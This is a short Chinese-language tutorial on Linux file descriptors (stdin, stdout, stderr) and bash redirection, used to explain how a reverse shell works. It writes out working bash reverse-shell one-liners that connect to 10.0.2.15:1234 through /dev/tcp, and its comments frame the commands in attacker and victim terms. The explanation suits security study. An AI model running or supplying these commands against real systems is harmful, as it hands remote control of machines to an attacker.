标砖输入输出及错误输出

linux “一切皆文件”

理解linux一切皆文件

文件描述符

1
2
3
4
文件描述符(file descriptor),简称fd。这里就使用到了“文件描述符”,它是一个对应某个已经打开的文件的索引(非负整数)。
0 标准输入文件stdin
1 标准输出文件stdout
2 标准错误输出文件stderr

由于linux一切皆文件,所以:

1
2
3
4
5
6
7
bash -i > /dev/tcp/10.0.2.15/1234 #输出重定向 本机的输入将在10.0.2.15机器中输出
bash -i < /dev/tcp/10.0.2.15/1234 #attacker输入重定向到受害者机器

写下来形成闭合回路 : )
bash -i > /dev/tcp/10.0.2.15/1234 0>&1
# bash -i > /dev/tcp/ip/port 将本机的输出重定向到ip
# linux由左向右执行,所以0>&1将/dev/tcp/ip/port的输入重定向到本机(受害者机器)

*注*:/dev/tcp/host/port是bash的一个特性,这个文件并不存在,而且并不是一个设备文件。这只是 bash 实现的用来实现网络请求的一个接口,读取或写入相当于建立socket调用。

参考这里

&> 等同于>& 等同于 > word 2>&1 。

所以为了取消在受害者shell中输出attacker的输入内容,利用>&将错误输出重定向。

1
2
3
bash -i >& /dev/tcp/10.0.2.15/1234 0>&1
等价于
bash -i > /dev/tcp/10.0.2.15/1234 0>&1 2>&1

参考

linux反弹shell的本质